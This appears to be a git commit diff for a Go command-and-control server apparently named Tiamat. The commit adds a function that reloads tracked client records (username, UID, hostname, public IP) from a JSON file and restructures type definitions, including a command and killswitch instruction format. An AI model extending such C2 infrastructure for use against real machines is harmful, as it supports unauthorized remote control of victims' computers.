Allow recovering clients from json config file

This commit is contained in:
raul 2024-06-07 11:30:16 +02:00
parent 841ad1c3ac
commit 82d2c7a097
2 changed files with 36 additions and 36 deletions

View File

@ -12,11 +12,6 @@ import (
"github.com/spf13/viper" "github.com/spf13/viper"
) )
type ClientJSON struct {
Date time.Time
List []ClientBasicInfo
}
var ( var (
WebPort string = "8080" WebPort string = "8080"
) )

View File

@ -2,46 +2,21 @@ package cmd
import ( import (
"encoding/gob" "encoding/gob"
"encoding/json"
"fmt" "fmt"
"log" "log"
"net" "net"
"os"
"time" "time"
"github.com/spf13/viper" "github.com/spf13/viper"
) )
type Client struct {
ClientBasicInfo
Conn net.Conn
IsOnline bool
ClientID int
}
type ClientBasicInfo struct {
Username string
UID string
GID string
OperatingSystem string
Hostname string
PublicIP string
}
type Instructions struct {
IsHeartbeat bool
IsCommand bool
IsKillswitch bool
Message string
}
type Response struct {
Successful bool
Message string
}
var ( var (
C2Port string = "1302" C2Port string = "1302"
clientList []Client clientList []Client
clientIDs int = 0 clientIDs int = 0
clientJSONPath string = "/home/raul/.config/tiamat/clients.json"
) )
func (c Client) Instruct(i Instructions) error { func (c Client) Instruct(i Instructions) error {
@ -53,12 +28,42 @@ func (c Client) Instruct(i Instructions) error {
return nil return nil
} }
func recoverClients() error {
clients := ClientJSON{}
file, err := os.Open(clientJSONPath)
if err != nil {
if os.IsNotExist(err) {
fmt.Println("CLIENTJSON DOES NOT EXIST")
return nil
}
return err
}
jsonParse := json.NewDecoder(file)
if err = jsonParse.Decode(&clients); err != nil {
return err
}
for _, v := range clients.List {
client := Client{}
client.ClientBasicInfo = v
client.IsOnline = false
client.ClientID = clientIDs
clientIDs++
clientList = append(clientList, client)
}
return nil
}
func Server() { func Server() {
p := viper.GetString("Server.Port") p := viper.GetString("Server.Port")
if p != "" { if p != "" {
C2Port = p C2Port = p
} }
go WebServer() go WebServer()
if err := recoverClients(); err != nil {
log.Fatalf("Error happened recovering clients: %v\n", err)
}
log.SetPrefix("[TIAMAT] ") log.SetPrefix("[TIAMAT] ")
ln, err := net.Listen("tcp", ":"+C2Port) ln, err := net.Listen("tcp", ":"+C2Port)